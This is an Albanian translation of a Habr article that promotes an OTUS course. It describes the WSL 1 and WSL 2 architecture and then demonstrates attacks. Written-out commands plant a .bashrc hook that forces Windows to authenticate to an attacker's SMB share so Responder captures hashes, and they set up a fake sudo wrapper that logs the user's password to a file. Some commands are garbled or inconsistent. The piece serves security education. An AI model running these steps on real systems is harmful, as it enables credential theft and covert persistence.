PĂ«rshĂ«ndetje, habr! NĂ« tetor, OTUS do tĂ« lançojĂ« njĂ« seri tĂ« re kursi . NĂ« prag tĂ« fillimit tĂ« kursit, po ndajmĂ« me ju njĂ« artikull qĂ« e ka shkruar njĂ« nga mĂ«suesit tanĂ« â AleksandĂ«r Kolesnikov.

Në vitin 2016, kompania Microsoft i prezantoi komunitetit IT një teknologji të re WSL (Windows Subsystem for Linux), e cila në perspektivë lejonte bashkimin e konkurentëve të papajtueshëm, të cilët luftonin për popullaritet si mes përdoruesve të zakonshëm ashtu edhe atyre të avancuar të sistemit operativ: Windows dhe Linux. Kjo teknologji ofronte mundësinë e përdorimit të mjeteve të sistemit Linux në një mjedis Windows pa pasur nevojë të nisja e Linux, për shembull, përmes multiboot (Multi-boot). Në Habr mund të gjeni një numër të madh artikujsh që përshkruajnë përfitimet e përdorimit të WSL. Megjithatë, fatkeqësisht, në momentin e krijimit të këtij artikulli, në këtë burim nuk u gjetën studime mbi sigurinë e këtij simbioze të sistemeve operuese. Ky post do të përpiqet ta korrigjojë këtë. Artikulli do të flasë për veçoritë arkitekturore të WSL 1 dhe 2, duke shqyrtuar disa shembuj të sulmeve ndaj sistemeve që përdorin këto teknologji. Artikulli është i ndarë në 2 pjesë. Në pjesën e parë do të ofrohen metodat teorike të sulmeve nga ana e Linux dhe Windows. Artikulli i dytë do të përfshijë konfigurimin e mjedisit të testimit dhe riprodhimin e sulmeve.
WSL 1: veçoritë e arkitekturës
PĂ«r njĂ« pĂ«rfshirje mĂ« tĂ« saktĂ« nĂ« problemet e sigurisĂ« WSL, Ă«shtĂ« e nevojshme tĂ« pĂ«rcaktohen nuancat kryesore tĂ« lidhura me implementimin e nĂ«n-sistemit. NjĂ« nga detyrat kryesore tĂ« pĂ«rdoruesit qĂ« zgjidh WSL Ă«shtĂ« ofrimi i mundĂ«sisĂ« pĂ«r tĂ« punuar pĂ«rmes terminalit tĂ« sistemeve Linux nĂ« hostin me sistemin operativ Windows. Po ashtu, pĂ«rputhshmĂ«ria e propozuar ishte aq natyrale, saqĂ« skedarĂ«t ekzekutivĂ« tĂ« Linux (ELF) mund tĂ« niseshin drejtpĂ«rdrejt nĂ« sistemin Windows. PĂ«r tĂ« arritur kĂ«to qĂ«llime, nĂ« Windows 10 u krijua njĂ« nĂ«n-sistem special qĂ« lejonte ekzekutimin e aplikacioneve Linux pĂ«rmes njĂ« grupi tĂ« caktuar thirrjesh sistemore â kĂ«shtu, u ndĂ«rmor njĂ« pĂ«rpjekje pĂ«r tĂ« hartuar grupin e syscall-ave tĂ« Linux mbi Windows. Fizikisht, kjo u realizua duke shtuar drejtues tĂ« rinj dhe njĂ« format tĂ« ri procesi. Arkitektura dukej kĂ«shtu:

NĂ« thelb, ndĂ«rveprimi me sistemin operativ Linux u organizua pĂ«rmes disa moduleve bĂ«rthamore dhe njĂ« lloji tĂ« veçantĂ« procesesh â pico. Nga skema e mĂ«sipĂ«rme, duket se procesi i nisur nĂ« instancĂ«n Linux nĂ« host duhet tĂ« jetĂ« natyror dhe duhet tĂ« pĂ«rdorĂ« tĂ« njĂ«jtat burime si aplikacionet normale tĂ« Windows. Por si mund tĂ« arrihet kjo? NĂ« projektin u zhvilluan konceptet e proceseve pĂ«r Windows, tĂ« cilat ofronin tĂ« gjithĂ« komponentĂ«t e nevojshĂ«m tĂ« sistemit operativ (nĂ« varĂ«si tĂ« versionit tĂ« tij) pĂ«r tĂ« ekzekutuar aplikacionin e njĂ« sistemi tjetĂ«r.
Vlen tĂ« theksohet se abstraksioni i propozuar lejonte tĂ« mos u orientohej nĂ« sistemin operativ (veçanĂ«risht â Windows), ku pritej tĂ« niste procesi i njĂ« sistemi tjetĂ«r, dhe ofronte njĂ« qasje tĂ« pĂ«rgjithshme.
Kështu, çdo aplikacion brenda procesit pico mund të punonte pa u shqetësuar për bërthamën e Windows:
- Problemet e përputhshmërisë dhe përkthimi i thirrjeve sistemore duhet të zgjidhen nga ofrues speciale;
- Kufizimi i qasjes duhet të realizohet përmes Monitorit të Sigurisë. Monitori është i vendosur në bërthamë, dhe prandaj Windows kishte nevojë për një përmirësim në formën e një drejtuesi të ri që mund të vepronte si ofrues për këto procese. Prototipi i procesit pico është paraqitur në mënyrë skematike më poshtë:

Duke qenĂ« se sistemi i skedarĂ«ve tĂ« Linux pĂ«rdor emra skedarĂ«sh dhe direktorish qĂ« kanĂ« ndjeshmĂ«ri ndaj rastit, nĂ« Windows u shtuan 2 lloje sistemesh skedarĂ«sh pĂ«r tĂ« punuar me WSL â VolFS dhe DriveFS. VolFS â njĂ« implementim i sistemit tĂ« skedarĂ«ve tĂ« Linux, DriveFS â njĂ« sistem skedarĂ«sh qĂ« punon sipas rregullave tĂ« Windows, por ka mundĂ«sinĂ« e zgjedhjes sĂ« ndjeshmĂ«risĂ« ndaj rastit tĂ« emrave.
WSL 2
WSL 1 kishte disa kufizime që nuk lejonin përdorimin e saj për të zgjidhur gamën maksimale të problemeve: për shembull, mungonte mundësia për të ekzekutuar aplikacione 32-bit Linux, nuk mund të përdoren driverët e pajisjeve. Prandaj, në vitin 2020 u lansua WSL 2, e cila ndryshoi qasjen në ndërtimin e nën-sistemës. WSL 2 është një makinë virtuale e optimizuar, e cila përputhet me karakteristikat e WSL 1 në aspektin e konsumit të burimeve. Tani, në varësi të problemeve që zgjidh përdoruesi i sistemit operativ Windows, mund të zgjidhet versioni i nevojshëm të nën-sistemës që punon me Linux. Për të mitizuar vulnerabilitetet e mundshme, WSL 2 është realizuar mbi bazën e Hyper-V në Windows 10. Në këtë formë, Windows ka mundësinë të ekzekutojë izoluara bërthamën e sistemit operativ Linux. Duhet të theksohet se versioni 1 i WSL u paraqit si një veçori beta, e cila do të tregonin drejtimin e zhvillimit të Windows në këtë fushë, kështu që kalimi në Hyper-V ishte i pashmangshëm. Arkitektura përfundimtare duket kështu:

Në këtë version, bërthamat e sistemeve Windows dhe Linux kanë burime të veçanta dhe ndërveprimi ekziston vetëm në sistemin e skedarëve, megjithatë, ky ndërveprim nuk mund të quhet i plotë. Ndërveprimi midis sistemeve të skedarëve bëhet përmes një mbulese klient-serveri, e cila punon me protokollin 9P.
Në ditët e sotme, Microsoft ofron mundësinë për të kaluar ndërmjet WSL 1 dhe WSL 2. Të dy versionet janë të disponueshme për përdorim.
Siguria WSL
Aktualisht ekzistojnë disa punime që përshkruajnë disa qasje në përdorimin e mjeteve legjitime të sistemit operativ për sulmin ndaj ndërveprimit midis nën-sistemeve. Ne do të përdorim skenarët e tyre për të provuar aktualitetin e sulmeve në momentin e shk writing . Lista e përgjithshme e sulmeve dhe skenarëve të realizimit:
1. Implementimi i sistemit të skedarëve: të drejtat e aksesit, prania e direktivave të përbashkëta/mekanizmave të shkëmbimit të të dhënave.
Hulumtimet u realizuan për të shqyrtuar shkeljet e rregullave të aksesit nga Linux FS->Windows FS, Windows FS->Linux FS. Hulumtimet demonstruan mundësinë e modifikimit të një skedari të caktuar brenda sistemit operativ të synuar. Po ashtu, u realizuan përpjekje për të zëvendësuar, krijuar duplikat dhe fshirë pjesë të sistemeve të skedarëve.
Skenari:
- A. Sulmi nga sistemi operativ Windows - modifikimi i skedarëve nga direktoria /etc e sistemit operativ Linux.
- B. Sulmi nga sistemi operativ Linux - modifikimi i skedarëve në direktoritë:
C:Windows,C:Program Files,C:Users
2. Implementimi i palës rrjetës.
Hulumtimet u realizuan mbi shembujt e sulmeve nga ana e sistemit operativ Linux në Windows. U përdorën karakteristikat e punës së palës rrjetës, pra mekanizmat e autentifikimit në burime të ndryshme.
Skenari:
- Hapja e aksesit në portin që është i zënë në sistemin Windows
- Hapja e portit në mungesë të të drejtave përkatëse
- Ekzekutimi i reverse shell me përdorimin e skedarit elf në sistemin operativ Windows.
3. Fshehja e ekzekutimit të proceseve të softuerëve të dëmshëm përmes nën-sistemit WSL.
Hulumtimet u bazuan në faktin e thjeshtë - sistemet e mbrojtjes nuk mund të kapin ndodhitë në një bërthamë tjetër, e cila punon me përdorimin e një ofruesi legjitim nga ana e sistemit operativ në rastin e WSL 1. Në rastin e WSL 2 nuk ka mundësi të shikohet ndodhitë që ndodhin në një bërthamë të ndarë brenda një makine virtuale të lehtë.
Skenari:
1) Ekzekutimi i aplikacionit për qasje në sistem dhe shqyrtimi i ngjarjeve të regjistruara.
Eksperimentet WSL 1: kapja e hashes (sistemi Windows)
Në fund, arritëm në pjesën praktike. Së pari, është e nevojshme të konfiguroni mjedisin për testet. Të gjitha eksperimentet do të realizohen në një platformë me Windows 10 2004 të instaluar. Si imazh i sistemit operativ për WSL, u zgjodh imazhi Ubuntu 18.04. Imazhi u zgjodh rastësisht, dhe cilido tjetër do të funksiononte njësoj. Komandat për konfigurimin e platformës:
Së pari, duhet të ekzekutoni powershell.exe në emër të administratorit.
Për WSL 1 duhet të ekzekutoni komandat:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktivizo funksionin WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Shkarko imazhin Linux nga dyqani i Microsoft
Pas rinisjes së platformës, mund të thërrisni komandën bash. Nëse gjithçka ka shkuar mirë, do të shihni një dalje të tillë në konsolën Windows:

Si makinë sulmuese do të përdorim distribucionin Kali Linux, të gjitha makinat duhet të jenë në të njëjtën rrjet lokal.
Supozoni se kemi qasje të pa privilegjuar në WSL në një makinë Windows. Le të përpiqemi të kryejmë një sulm ndaj sistemit operativ Linux, duke thirrur një komandë nga Linux. Për të realizuar sulmin, do të përdorim një teknikë të thjeshtë auto-çaktivizimi - do të shtojmë skriptin tonë për tu ekzekutuar në mjedisin Linux. Për këtë, nevojitet të modifikojmë skedarin .bashrc.
Në makinën me WSL ekzekutojmë:
1. bash
2. Kalojmë në direktorinë e shtëpisë së përdoruesit: cd /home/sam/
2. echo "/home/sam/.attack.sh" >> .bashrc
3. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitNë makinën Kali Linux ekzekutojmë:
1. Responder -I eth0 -rdvwNë makinën Windows do të nisim bash.
Prisni rezultatin në makinën Kali Linux:

Kështu, kemi marrë hash-ët e përdoruesit Windows përmes nënstrukturës WSL, duke ekzekutuar komandën në sistemin Linux.
Eksperimentet WSL 1: marrja e fjalëkalimit të përdoruesit (OS Linux)
Do të kryejmë një eksperiment tjetër. Gjatë këtij verifikimi, do të shtojmë disa komanda në skedarin .bashrc për të marrë fjalëkalimin e përdoruesit të sistemit operativ Linux.
Do të nisim bash dhe do të shërbejmë komandat:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Për të përfunduar me sukses sulmin, nevojitet që përdoruesi Sam të thërrasë sudo në terminalin Linux. Pas kësaj, fjalëkalimi i përdoruesit të sistemit operativ Linux do të përfundojë në skedarin pass.txt:

Zbatimi i sulmeve u paraqit thjesht për qëllime teorike.
Në pjesën tjetër të artikullit do të përshkruhet zbatimi i protokollit 9P, do të shqyrtohet krijimi i një skaner për këtë protokoll, si dhe do të realizohet një sulm me ndihmën e tij.
Lista e literaturës së përdorur
Lexoni më shumë
Burimi: habr.com
